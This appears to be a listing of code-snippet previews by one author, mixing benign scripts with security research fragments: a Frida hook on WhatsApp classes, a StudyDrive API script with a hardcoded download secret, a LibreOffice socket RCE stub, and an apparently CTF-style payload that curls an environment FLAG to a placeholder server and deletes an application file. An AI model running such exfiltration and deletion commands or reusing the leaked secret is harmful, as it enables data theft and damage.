Romern

%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox:   36   36  576  756
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog

% (a) (b) -> (ab)
% https://stackoverflow.com/questions/12378904/postscript-concatenate-two-strings

Romern

Java.enumerateClassLoaders({
    onMatch: function(loader){
        Java.classFactory.loader = loader;

        // Hook the class if found, else try next classloader.
        try{
            //Override OnDismiss, so we can dismiss the login error dialog without the app closing
            LoginFailedDialogFragment = Java.use("com.whatsapp.DisplayExceptionDialogFactory$LoginFailedDialogFragment");
            LoginFailedDialogFragment.onDismiss.implementation = function() {};
        }catch(error){

Romern

import hashlib
import requests

# app hat ratelimiting für session:
# 'x-ratelimit-limit': '30', 'x-ratelimit-remaining': '0', 'retry-after': '56', 'x-ratelimit-reset': '1708281174'

# from de.veedapp.veed.api_clients.getDocumentStorageUrl
download_secret = "studydrive-app-download-7>%jsc"

base_url = "https://gateway.production-01.studydrive.net"

Romern

from pathlib import Path
import socket
import time

# RCE when having access to unix sockets
# TODO: start a named_pipe instead

# first stage: start uno api

# OSL PIPE apparently used for quick starts when libreoffice is already started

Romern

%!PS

%%% base64 encoding code
% http://www.sunshine2k.de/articles/coding/base64/understanding_base64.html
/base64DecodingTable [
    80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 0 - 15 */
    80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 16 - 31 */
    80 80 80 80 80 80 80 80 80 80 80 62 80 80 80 63 %/* 32 - 47 */
    52 53 54 55 56 57 58 59 60 61 80 80 80 64 80 80 %/* 48 - 63 */
    80  0  1  2  3  4  5  6  7  8  9 10 11 12 13 14 %/* 64 - 79 */

Romern

import os
import base64
os.system("curl https://MYSERVER/"+base64.b64encode(os.environ["FLAG"].encode()).decode())
os.system("rm /app/flask.py")
os._exit(1)

Romern

import requests
import datetime
import click
import tqdm
import uuid
from rich.console import Console
from rich.table import Table

search_url = "https://edge.blablacar.de/trip/search/v7"
location_get_url = 'https://edge.blablacar.de/location/suggestions'

Romern

#include <iostream>
#include <string>

class Greeter {
private:
    std::string message;

public:
    Greeter(const std::string& msg) : message(msg) {}

Romern

from wsp.packets import (
    CPMConnectIn, CPMCreateQueryIn, CPMDisconnect,
    CColumnSet, CRestrictionArray, CRowsetProperties, CPidMapper,
    CColumnGroupArray, PropSpec, CPropertyRestriction, CRestriction
)
import uuid

def hex_dump(data: bytes, prefix: str = "") -> str:
    hex_str = ''.join([f'{b:02x}' for b in data])
    return f"{prefix}{hex_str}"

Romern

import requests
import logging
import re
import json
import http.client as http_client
from html import unescape
from datetime import datetime


class Appointment: